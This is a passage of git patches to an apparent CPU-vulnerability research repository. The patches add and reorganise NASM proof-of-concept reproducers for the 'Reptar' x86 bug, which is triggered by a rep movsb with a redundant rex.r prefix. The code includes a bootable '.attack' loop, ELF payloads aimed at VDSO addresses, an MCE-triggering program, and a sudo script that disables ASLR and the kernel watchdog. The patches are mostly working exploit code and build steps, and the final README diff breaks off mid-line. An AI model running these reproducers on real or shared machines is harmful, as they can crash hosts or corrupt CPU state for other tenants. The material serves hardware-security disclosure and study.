lea di, [di + 0x3000] ; Point DI to the page table. + mov eax, PAGE_PRESENT | PAGE_WRITE ; Move the flags into EAX - and point it to 0x0000. + + + ; Build the Page Table. +.LoopPageTable: + mov [es:di], eax + add eax, 0x1000 + add di, 8 + cmp eax, 0x200000 ; If we did all 2MiB, end. + jb .LoopPageTable + + pop di ; Restore DI. + + ; Disable IRQs + mov al, 0xFF ; Out 0xFF to 0xA1 and 0x21 to disable all IRQs. + out 0xA1, al + out 0x21, al + + nop + nop + + lidt [IDT] ; Load a zero length IDT so that any NMI causes a triple fault. + + ; Enter long mode. + mov eax, 10100000b ; Set the PAE and PGE bit. + mov cr4, eax + + mov edx, edi ; Point CR3 at the PML4. + mov cr3, edx + + mov ecx, 0xC0000080 ; Read from the EFER MSR. + rdmsr + + or eax, 0x00000100 ; Set the LME bit. + wrmsr + + mov ebx, cr0 ; Activate long mode - + or ebx,0x80000001 ; - by enabling paging and protection simultaneously. + mov cr0, ebx + + lgdt [GDT.Pointer] ; Load GDT.Pointer defined below. + + jmp CODE_SEG:LongMode ; Load CS with 64 bit segment and flush the instruction cache + + + ; Global Descriptor Table +GDT: +.Null: + dq 0x0000000000000000 ; Null Descriptor - should be present. + +.Code: + dq 0x00209A0000000000 ; 64-bit code descriptor (exec/read). + dq 0x0000920000000000 ; 64-bit data descriptor (read/write). + +ALIGN 4 + dw 0 ; Padding to make the "address of the GDT" field aligned on a 4-byte boundary + +.Pointer: + dw $ - GDT - 1 ; 16-bit Size (Limit) of GDT. + dd GDT ; 32-bit Base Address of GDT. (CPU will zero extend to 64-bit) + + +[BITS 64] +LongMode: + mov ax, DATA_SEG + mov ds, ax + mov es, ax + mov fs, ax + mov gs, ax + mov ss, ax + + ; Blank out the screen to a blue color. + mov edi, 0xB8000 + mov rcx, 500 ; Since we are clearing uint64_t over here, we put the count as Count/4. + mov rax, 0x1F201F201F201F20 ; Set the value to set the screen to: Blue background, white foreground, blank spaces. + rep stosq ; Clear the entire screen. + + ; Display "Hello World!" + mov edi, 0x00b8000 + + mov rax, 0x1F6C1F6C1F651F48 + mov [edi],rax + + mov rax, 0x1F6F1F571F201F6F + mov [edi + 8], rax + + mov rax, 0x1F211F641F6C1F72 + mov [edi + 16], rax + + xor rbx, rbx + .attack: + xor ecx, ecx + lea rsi, [rsp+1] + mov rdi, rsi + .many_reptars: + align 64 + ; 16 bytes + times 4 nop ; 4 bytes + dec rsi ; 3 bytes + dec rdi ; 3 bytes + inc rbx ; 3 bytes + inc rcx ; 3 bytes + ; 16 bytes + clflush [rdi] ; 3 bytes + clflush [rsi+64] ; 4 bytes + ;mov [rsp], rbx ; 4 bytes + rep ; 1 byte + db 0x44; rex.r ; 1 byte + movsb ; 1 byte + rep ; 1 byte + nop ; 1 byte + mov dil, bl ; counter + jmp .attack + +BITS 16 + +times 510 - ($-$$) db 0 +dw 0xAA55 \ No newline at end of file diff --git a/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm b/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm index c3979428..4d438460 100644 --- a/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm +++ b/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm @@ -1,4 +1,6 @@ bits 64 +; stolen from https://stackoverflow.com/questions/53382589/smallest-executable-program-x86-64 + org 0x7ffff7ff8000 ehdr: ; Elf64_Ehdr diff --git a/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm b/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm index cac5cdab..dd9b08a1 100644 --- a/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm +++ b/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm @@ -1,4 +1,6 @@ bits 64 +; stolen from https://stackoverflow.com/questions/53382589/smallest-executable-program-x86-64 + org 0x7ffff7ff8000 ehdr: ; Elf64_Ehdr From 2f44fa27a7ce8b58ec4e9ec37891784004df54fa Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 28 Nov 2023 23:48:40 +0100 Subject: [PATCH 33/42] explain mce.txt --- pocs/cpus/reptar/minimized/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md index c4e0c109..4afe52a0 100644 --- a/pocs/cpus/reptar/minimized/README.md +++ b/pocs/cpus/reptar/minimized/README.md @@ -13,4 +13,4 @@ You can build them all simply by running `make`. Building the code requires `nas - **reptar.loop.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. - **reptar.vdsojmp.elf.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function, then we jump to that instruction. As a result, the current time is stored in the address pointed to by RAX. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. - **reptar.vdsopf.elf.asm**: This is a similar experiment to the one above where we do the same except with a pagefault instead of a long jump, with similar consequences. -- **reptar.mce.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. \ No newline at end of file +- **reptar.mce.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. Look at `mce.txt` for the expected MCE errors. From 91e01733afcefdac9b95428e9f2f265bd2b43995 Mon Sep 17 00:00:00 2001 From: eduardo Date: Thu, 30 Nov 2023 22:44:31 +0100 Subject: [PATCH 34/42] rename files to make more sense --- .gitignore | 2 +- pocs/cpus/reptar/minimized/Makefile | 19 ++-- pocs/cpus/reptar/minimized/log_mce.sh | 7 +- ...{reptar.align.asm => reptar.align.elf.asm} | 0 .../cpus/reptar/minimized/reptar.boot.bin.asm | 28 ++++++ .../{reptar.loop.asm => reptar.loop.elf.asm} | 0 ...r.loopless.asm => reptar.loopless.elf.asm} | 0 .../{reptar.mce.asm => reptar.mce.elf.asm} | 0 .../reptar/minimized/reptar.vdsojmp.bin.asm | 64 +++++++++++++ .../reptar/minimized/reptar.vdsopf.bin.asm | 61 ++++++++++++ .../reptar/minimized/reptar.vdsopf.elf.asm | 94 ------------------- .../{reptar.xlat.asm => reptar.xlat.elf.asm} | 0 .../long_mode_boot.asm} | 43 ++------- .../tiny_elf.asm} | 67 ++----------- 14 files changed, 183 insertions(+), 202 deletions(-) rename pocs/cpus/reptar/minimized/{reptar.align.asm => reptar.align.elf.asm} (100%) create mode 100644 pocs/cpus/reptar/minimized/reptar.boot.bin.asm rename pocs/cpus/reptar/minimized/{reptar.loop.asm => reptar.loop.elf.asm} (100%) rename pocs/cpus/reptar/minimized/{reptar.loopless.asm => reptar.loopless.elf.asm} (100%) rename pocs/cpus/reptar/minimized/{reptar.mce.asm => reptar.mce.elf.asm} (100%) create mode 100644 pocs/cpus/reptar/minimized/reptar.vdsojmp.bin.asm create mode 100644 pocs/cpus/reptar/minimized/reptar.vdsopf.bin.asm delete mode 100644 pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm rename pocs/cpus/reptar/minimized/{reptar.xlat.asm => reptar.xlat.elf.asm} (100%) rename pocs/cpus/reptar/minimized/{reptar.boot.elf.asm => third_party/long_mode_boot.asm} (84%) rename pocs/cpus/reptar/minimized/{reptar.vdsojmp.elf.asm => third_party/tiny_elf.asm} (53%) diff --git a/.gitignore b/.gitignore index 98fddcd1..a6a15c24 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,3 @@ -pocs/cpus/reptar/minimized/reptar.*.out +pocs/cpus/reptar/minimized/reptar.*.bin pocs/cpus/reptar/minimized/reptar.*.elf pocs/cpus/reptar/minimized/reptar.log diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index a6a0911c..48e25461 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -1,17 +1,20 @@ -nasm_targets=$(shell find . -name '*.asm' -type f ! -name '*.elf.asm' -printf "%f\n" | sed 's/\.asm/\.out/' | xargs) elf_targets=$(shell find . -name '*.elf.asm' -type f -printf "%f\n" | sed 's/\.asm//' | xargs) +bin_targets=$(shell find . -name '*.bin.asm' -type f -printf "%f\n" | sed 's/\.asm//' | xargs) -all: $(nasm_targets) $(elf_targets) +all: $(elf_targets) $(bin_targets) -%.elf: %.elf.asm +%.bin.asm: third_party/*.asm + touch $@ + +%.bin: %.bin.asm nasm -f bin $^ -o $@ chmod +x $@ -%.out: %.o - ld $^ -o $@ - -%.o: %.asm +%.o: %.elf.asm nasm -g -F DWARF -f elf64 $^ -o $@ +%.elf: %.o + ld $^ -o $@ + clean: - rm -rf *.o *.out *.elf + rm -rf *.o *.elf *.bin diff --git a/pocs/cpus/reptar/minimized/log_mce.sh b/pocs/cpus/reptar/minimized/log_mce.sh index e400aaf3..176e6763 100755 --- a/pocs/cpus/reptar/minimized/log_mce.sh +++ b/pocs/cpus/reptar/minimized/log_mce.sh @@ -2,10 +2,11 @@ set -ex +touch reptar.log cat reptar.log echo > reptar.log -sudo mount -t debugfs none /sys/kernel/debug +sudo mount -t debugfs none /sys/kernel/debug || true echo 1 | sudo tee /sys/kernel/debug/mce/fake_panic echo 0 | sudo tee /proc/sys/kernel/watchdog echo 0 | sudo tee /proc/sys/kernel/printk_ratelimit @@ -13,13 +14,13 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /sys/bus/cpu/devices/cpu15/online touch reptar.mce.asm -make reptar.mce.out || true +make reptar.mce.elf for i in {1..10}; do echo $i | tee -a reptar.log sudo sync sleep 0.3s - taskset -c 7 ./reptar.mce.out & + taskset -c 7 ./reptar.mce.elf & sleep 1s sudo dmesg -t | grep mce: | uniq -c | tee -a reptar.log sudo cat /sys/kernel/debug/mce/severities-coverage | grep -v $'^0\t' | tr '\n' , | tr '\t' : | tee -a reptar.log diff --git a/pocs/cpus/reptar/minimized/reptar.align.asm b/pocs/cpus/reptar/minimized/reptar.align.elf.asm similarity index 100% rename from pocs/cpus/reptar/minimized/reptar.align.asm rename to pocs/cpus/reptar/minimized/reptar.align.elf.asm diff --git a/pocs/cpus/reptar/minimized/reptar.boot.bin.asm b/pocs/cpus/reptar/minimized/reptar.boot.bin.asm new file mode 100644 index 00000000..8ec3fbb4 --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.boot.bin.asm @@ -0,0 +1,28 @@ +%macro LONG_MODE_BOOT_PAYLOAD 0 + xor rbx, rbx + .attack: + xor ecx, ecx + lea rsi, [rsp+1] + mov rdi, rsi + .many_reptars: + align 64 + ; 16 bytes + times 4 nop ; 4 bytes + dec rsi ; 3 bytes + dec rdi ; 3 bytes + inc rbx ; 3 bytes + inc rcx ; 3 bytes + ; 16 bytes + clflush [rdi] ; 3 bytes + clflush [rsi+64] ; 4 bytes + ;mov [rsp], rbx ; 4 bytes + rep ; 1 byte + db 0x44; rex.r ; 1 byte + movsb ; 1 byte + rep ; 1 byte + nop ; 1 byte + mov dil, bl ; counter + jmp .attack +%endmacro + +%include "third_party/long_mode_boot.asm" diff --git a/pocs/cpus/reptar/minimized/reptar.loop.asm b/pocs/cpus/reptar/minimized/reptar.loop.elf.asm similarity index 100% rename from pocs/cpus/reptar/minimized/reptar.loop.asm rename to pocs/cpus/reptar/minimized/reptar.loop.elf.asm diff --git a/pocs/cpus/reptar/minimized/reptar.loopless.asm b/pocs/cpus/reptar/minimized/reptar.loopless.elf.asm similarity index 100% rename from pocs/cpus/reptar/minimized/reptar.loopless.asm rename to pocs/cpus/reptar/minimized/reptar.loopless.elf.asm diff --git a/pocs/cpus/reptar/minimized/reptar.mce.asm b/pocs/cpus/reptar/minimized/reptar.mce.elf.asm similarity index 100% rename from pocs/cpus/reptar/minimized/reptar.mce.asm rename to pocs/cpus/reptar/minimized/reptar.mce.elf.asm diff --git a/pocs/cpus/reptar/minimized/reptar.vdsojmp.bin.asm b/pocs/cpus/reptar/minimized/reptar.vdsojmp.bin.asm new file mode 100644 index 00000000..8fc717d1 --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.vdsojmp.bin.asm @@ -0,0 +1,64 @@ +%macro TINY_ELF_PAYLOAD 0 + _start: + mov rdx, .end_of_program + times 10 push rdx + lea rax, [rsp - 0x1000] + lea r8, [.after_reptar - .loop_only_on_bug] + mov r10, 0x00007ffff7ffda40 ; after time + mov r11, .loop_only_on_bug + xor rdx, rdx + xor rbx, rbx + xor r12, r12 + mov r13, 0x13371337 + .loop_for_every_iteration: + jmp r11 + .loop_only_on_bug: + nop + nop + clflush [rax] + clflush [rax+64] + mov rsi, rax + mov rdi, rax + mov cl, 1 + inc rdx + mov r9, rdx + sub r9, r12 + imul r9, r8 + add r9, r11 + xor rbx, rbx + cmp r9, r10 + setae bl + imul rbx, 0x4000 + neg rbx + add rbx, rsp + nop + mov qword [rbx], r13 + mov qword [rsp], r11 + jae 0x00007ffff7ffda40 ; time + + .reptar: + rep + db 0x44; rex.r + movsb + .after_reptar: + rep + times 4 nop + jmp .skip_reptar_alias + + .reptar_alias: + nop + nop + nop + .after_reptar_alias: + times 100 nop + int3 + + .skip_reptar_alias: + inc r12 + jmp .loop_for_every_iteration + .end_of_program: + int3 + int3 +%endmacro + +%include "third_party/tiny_elf.asm" diff --git a/pocs/cpus/reptar/minimized/reptar.vdsopf.bin.asm b/pocs/cpus/reptar/minimized/reptar.vdsopf.bin.asm new file mode 100644 index 00000000..59512f68 --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.vdsopf.bin.asm @@ -0,0 +1,61 @@ +%macro TINY_ELF_PAYLOAD 0 +_start: + mov cl, 7 + lea rax, [rsp - 0x1000] + lea r8, [.after_reptar - .loop_only_on_bug] + mov r10, 0x00007ffff7ffda40 ; after time + xor rbx, rbx + mov rdx, .end_of_program + lea r13, [rsp-0x4000] + mov r15, .skip_reptar_alias + mov r11, .loop_only_on_bug + push rdx + xor rdx, rdx + .loop_for_every_iteration: + .loop_only_on_bug: + clflush [rax] + clflush [rax+64] + mov rsi, rax + mov rdi, rax + mov cl, 1 + inc rdx + mov r9, rdx + sub r9, rbx + imul r9, r8 + add r9, r11 + cmp r9, r10 ; we are past vdso + cmova r12, r13 ; this will PF but recover + cmova rax, rcx ; this will break/PF the clflush + cmovna r12, rsp ; ths wont PF + clflush [r12] + clflush [rax] + + .reptar: + rep + db 0x44; rex.r + movsb + .after_reptar: + rep + times 64 nop + jmp r15 + + .reptar_alias: + nop + nop + nop + .after_reptar_alias: + times 100 nop + ; kill + mov eax, 0 + mov ebx, 0 + int 0x80 + + .skip_reptar_alias: + inc rbx + jmp .loop_for_every_iteration + .end_of_program: + int3 + int3 +%endmacro + +%include "third_party/tiny_elf.asm" diff --git a/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm b/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm deleted file mode 100644 index dd9b08a1..00000000 --- a/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm +++ /dev/null @@ -1,94 +0,0 @@ -bits 64 -; stolen from https://stackoverflow.com/questions/53382589/smallest-executable-program-x86-64 - - org 0x7ffff7ff8000 - -ehdr: ; Elf64_Ehdr - db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident - times 8 db 0 - dw 2 ; e_type - dw 62 ; e_machine - dd 1 ; e_version - dq _start ; e_entry - dq text_phdr - $$ ; e_phoff - dq 0 ; e_shoff - dd 0 ; e_flags - dw ehdrsize ; e_ehsize - dw phdrsize ; e_phentsize - dw 1 ; e_phnum - dw 0 ; e_shentsize - dw 0 ; e_shnum - dw 0 ; e_shstrndx - -ehdrsize equ $ - ehdr - -text_phdr: ; Elf64_Phdr - dd 1 ; p_type - dd 5 ; p_flags - dq 0 ; p_offset - dq $$ ; p_vaddr - dq $$ ; p_paddr - dq textsize ; p_filesz - dq textsize ; p_memsz - dq 0x1000 ; p_align - -phdrsize equ $ - text_phdr - -_start: - mov cl, 7 - lea rax, [rsp - 0x1000] - lea r8, [.after_reptar - .loop_only_on_bug] - mov r10, 0x00007ffff7ffda40 ; after time - xor rbx, rbx - mov rdx, .end_of_program - lea r13, [rsp-0x4000] - mov r15, .skip_reptar_alias - mov r11, .loop_only_on_bug - push rdx - xor rdx, rdx - .loop_for_every_iteration: - .loop_only_on_bug: - clflush [rax] - clflush [rax+64] - mov rsi, rax - mov rdi, rax - mov cl, 1 - inc rdx - mov r9, rdx - sub r9, rbx - imul r9, r8 - add r9, r11 - cmp r9, r10 ; we are past vdso - cmova r12, r13 ; this will PF but recover - cmova rax, rcx ; this will break/PF the clflush - cmovna r12, rsp ; ths wont PF - clflush [r12] - clflush [rax] - - .reptar: - rep - db 0x44; rex.r - movsb - .after_reptar: - rep - times 64 nop - jmp r15 - - .reptar_alias: - nop - nop - nop - .after_reptar_alias: - times 100 nop - ; kill - mov eax, 0 - mov ebx, 0 - int 0x80 - - .skip_reptar_alias: - inc rbx - jmp .loop_for_every_iteration - .end_of_program: - int3 - int3 -textsize equ $ - $$ \ No newline at end of file diff --git a/pocs/cpus/reptar/minimized/reptar.xlat.asm b/pocs/cpus/reptar/minimized/reptar.xlat.elf.asm similarity index 100% rename from pocs/cpus/reptar/minimized/reptar.xlat.asm rename to pocs/cpus/reptar/minimized/reptar.xlat.elf.asm diff --git a/pocs/cpus/reptar/minimized/reptar.boot.elf.asm b/pocs/cpus/reptar/minimized/third_party/long_mode_boot.asm similarity index 84% rename from pocs/cpus/reptar/minimized/reptar.boot.elf.asm rename to pocs/cpus/reptar/minimized/third_party/long_mode_boot.asm index 975c8aab..b3f91378 100644 --- a/pocs/cpus/reptar/minimized/reptar.boot.elf.asm +++ b/pocs/cpus/reptar/minimized/third_party/long_mode_boot.asm @@ -1,4 +1,10 @@ ; Stolen from https://wiki.osdev.org/Entering_Long_Mode_Directly +%ifnmacro LONG_MODE_BOOT_PAYLOAD + %macro LONG_MODE_BOOT_PAYLOAD 0 + nop + %endmacro +%endif + %define FREE_SPACE 0x9000 ORG 0x7C00 @@ -159,42 +165,7 @@ LongMode: mov rax, 0x1F201F201F201F20 ; Set the value to set the screen to: Blue background, white foreground, blank spaces. rep stosq ; Clear the entire screen. - ; Display "Hello World!" - mov edi, 0x00b8000 - - mov rax, 0x1F6C1F6C1F651F48 - mov [edi],rax - - mov rax, 0x1F6F1F571F201F6F - mov [edi + 8], rax - - mov rax, 0x1F211F641F6C1F72 - mov [edi + 16], rax - - xor rbx, rbx - .attack: - xor ecx, ecx - lea rsi, [rsp+1] - mov rdi, rsi - .many_reptars: - align 64 - ; 16 bytes - times 4 nop ; 4 bytes - dec rsi ; 3 bytes - dec rdi ; 3 bytes - inc rbx ; 3 bytes - inc rcx ; 3 bytes - ; 16 bytes - clflush [rdi] ; 3 bytes - clflush [rsi+64] ; 4 bytes - ;mov [rsp], rbx ; 4 bytes - rep ; 1 byte - db 0x44; rex.r ; 1 byte - movsb ; 1 byte - rep ; 1 byte - nop ; 1 byte - mov dil, bl ; counter - jmp .attack + LONG_MODE_BOOT_PAYLOAD BITS 16 diff --git a/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm b/pocs/cpus/reptar/minimized/third_party/tiny_elf.asm similarity index 53% rename from pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm rename to pocs/cpus/reptar/minimized/third_party/tiny_elf.asm index 4d438460..e122f1f0 100644 --- a/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm +++ b/pocs/cpus/reptar/minimized/third_party/tiny_elf.asm @@ -1,8 +1,13 @@ bits 64 ; stolen from https://stackoverflow.com/questions/53382589/smallest-executable-program-x86-64 - org 0x7ffff7ff8000 +%ifnmacro TINY_ELF_PAYLOAD + %macro TINY_ELF_PAYLOAD 0 + _start: + %endmacro +%endif + ehdr: ; Elf64_Ehdr db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 @@ -34,64 +39,6 @@ text_phdr: ; Elf64_Phdr phdrsize equ $ - text_phdr -_start: - mov rdx, .end_of_program - times 10 push rdx - lea rax, [rsp - 0x1000] - lea r8, [.after_reptar - .loop_only_on_bug] - mov r10, 0x00007ffff7ffda40 ; after time - mov r11, .loop_only_on_bug - xor rdx, rdx - xor rbx, rbx - xor r12, r12 - mov r13, 0x13371337 - .loop_for_every_iteration: - jmp r11 - .loop_only_on_bug: - nop - nop - clflush [rax] - clflush [rax+64] - mov rsi, rax - mov rdi, rax - mov cl, 1 - inc rdx - mov r9, rdx - sub r9, r12 - imul r9, r8 - add r9, r11 - xor rbx, rbx - cmp r9, r10 - setae bl - imul rbx, 0x4000 - neg rbx - add rbx, rsp - nop - mov qword [rbx], r13 - mov qword [rsp], r11 - jae 0x00007ffff7ffda40 ; time - - .reptar: - rep - db 0x44; rex.r - movsb - .after_reptar: - rep - times 4 nop - jmp .skip_reptar_alias - - .reptar_alias: - nop - nop - nop - .after_reptar_alias: - times 100 nop - int3 +TINY_ELF_PAYLOAD - .skip_reptar_alias: - inc r12 - jmp .loop_for_every_iteration - .end_of_program: - int3 - int3 textsize equ $ - $$ \ No newline at end of file From f314e480cc3e8e55adca90b72a13ae8591d976c2 Mon Sep 17 00:00:00 2001 From: eduardo Date: Thu, 30 Nov 2023 22:46:00 +0100 Subject: [PATCH 35/42] fix docs --- pocs/cpus/reptar/minimized/README.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md index 4afe52a0..3429fd11 100644 --- a/pocs/cpus/reptar/minimized/README.md +++ b/pocs/cpus/reptar/minimized/README.md @@ -6,11 +6,11 @@ You can build them all simply by running `make`. Building the code requires `nas ## Quick Summary -- **reptar.align.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time. -- **reptar.boot.elf.asm**: Same as align, but instead intended to be ran from a VM using KVM. `qemu-system-x86_64 --enable-kvm -fda reptar.boot.elf`. -- **reptar.xlat.asm**: This is similar to `reptar.align.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`. -- **reptar.loopless.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top. -- **reptar.loop.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. -- **reptar.vdsojmp.elf.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function, then we jump to that instruction. As a result, the current time is stored in the address pointed to by RAX. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. -- **reptar.vdsopf.elf.asm**: This is a similar experiment to the one above where we do the same except with a pagefault instead of a long jump, with similar consequences. -- **reptar.mce.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. Look at `mce.txt` for the expected MCE errors. +- **reptar.align.elf.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time. +- **reptar.boot.bin.asm**: Same as align, but instead intended to be ran from a VM using KVM. `qemu-system-x86_64 --enable-kvm -fda reptar.boot.elf`. +- **reptar.xlat.elf.asm**: This is similar to `reptar.align.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`. +- **reptar.loopless.elf.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top. +- **reptar.loop.elf.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. +- **reptar.vdsojmp.bin.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function, then we jump to that instruction. As a result, the current time is stored in the address pointed to by RAX. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. +- **reptar.vdsopf.bin.asm**: This is a similar experiment to the one above where we do the same except with a pagefault instead of a long jump, with similar consequences. +- **reptar.mce.elf.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. Look at `mce.txt` for the expected MCE errors. From 84ba037520ded702a0b8f5b0472e0fda9d964f67 Mon Sep 17 00:00:00 2001 From: eduardo Date: Thu, 30 Nov 2023 22:46:26 +0100 Subject: [PATCH 36/42] fix docs --- pocs/cpus/reptar/minimized/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md index 3429fd11..125c002a 100644 --- a/pocs/cpus/reptar/minimized/README.md +++ b/pocs/cpus/reptar/minimized/README.md @@ -7,8 +7,8 @@ You can build them all simply by running `make`. Building the code requires `nas ## Quick Summary - **reptar.align.elf.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time. -- **reptar.boot.bin.asm**: Same as align, but instead intended to be ran from a VM using KVM. `qemu-system-x86_64 --enable-kvm -fda reptar.boot.elf`. -- **reptar.xlat.elf.asm**: This is similar to `reptar.align.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`. +- **reptar.boot.bin.asm**: Same as align, but instead intended to be ran from a VM using KVM. `qemu-system-x86_64 --enable-kvm -fda reptar.boot.bin`. +- **reptar.xlat.elf.asm**: This is similar to `reptar.align.elf.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`. - **reptar.loopless.elf.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top. - **reptar.loop.elf.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. - **reptar.vdsojmp.bin.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function, then we jump to that instruction. As a result, the current time is stored in the address pointed to by RAX. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. From 7edf42576c968e9ff467f1a1a67866baadd4b879 Mon Sep 17 00:00:00 2001 From: eduardo Date: Thu, 30 Nov 2023 23:09:19 +0100 Subject: [PATCH 37/42] make mce configurable --- pocs/cpus/reptar/minimized/Makefile | 7 +++++++ pocs/cpus/reptar/minimized/reptar.mce.elf.asm | 13 +++++++++---- 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index 48e25461..faafbd62 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -2,6 +2,13 @@ elf_targets=$(shell find . -name '*.elf.asm' -type f -printf "%f\n" | sed 's/\.a bin_targets=$(shell find . -name '*.bin.asm' -type f -printf "%f\n" | sed 's/\.asm//' | xargs) all: $(elf_targets) $(bin_targets) +always-rebuild: + +.PHONY: all always-rebuild + +# always rebuild mce because it depends on env vars +reptar.mce.elf.asm: always-rebuild + touch reptar.mce.elf.asm %.bin.asm: third_party/*.asm touch $@ diff --git a/pocs/cpus/reptar/minimized/reptar.mce.elf.asm b/pocs/cpus/reptar/minimized/reptar.mce.elf.asm index cc09442e..9c5bb6d4 100644 --- a/pocs/cpus/reptar/minimized/reptar.mce.elf.asm +++ b/pocs/cpus/reptar/minimized/reptar.mce.elf.asm @@ -1,5 +1,11 @@ BITS 64 +%define MCE_INSTRUCTION pause +; Define MCE_INSTRUCTION as an env var +%ifenv %!MCE_INSTRUCTION + %define MCE_INSTRUCTION %!MCE_INSTRUCTION +%endif + global _start section .text @@ -7,7 +13,7 @@ section .text lea rsi, [rsp+1] mov rdi, rsi align 0x1000 - times 8*64*64 pause + times 8*64*64 MCE_INSTRUCTION .many_reptars: %rep 64*8 ; icache has 8 ways 64 sets clflush [rdi-1] ; 4uops ; 4 bytes @@ -20,8 +26,7 @@ section .text rep db 0x44; rex.r movsb ; msrom ptr ; 3 bytes - pause ; 1uop ; 2 bytes - pause ; 1uop ; 2 bytes + MCE_INSTRUCTION align 64 ; icache line size %endrep - times 8*64*64*100 pause + times 8*64*64*100 MCE_INSTRUCTION From 168bf22da2490c86c2f3cff9a4413323b99336c8 Mon Sep 17 00:00:00 2001 From: eduardo Date: Thu, 30 Nov 2023 23:10:23 +0100 Subject: [PATCH 38/42] add instructions --- pocs/cpus/reptar/minimized/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md index 125c002a..32818377 100644 --- a/pocs/cpus/reptar/minimized/README.md +++ b/pocs/cpus/reptar/minimized/README.md @@ -13,4 +13,4 @@ You can build them all simply by running `make`. Building the code requires `nas - 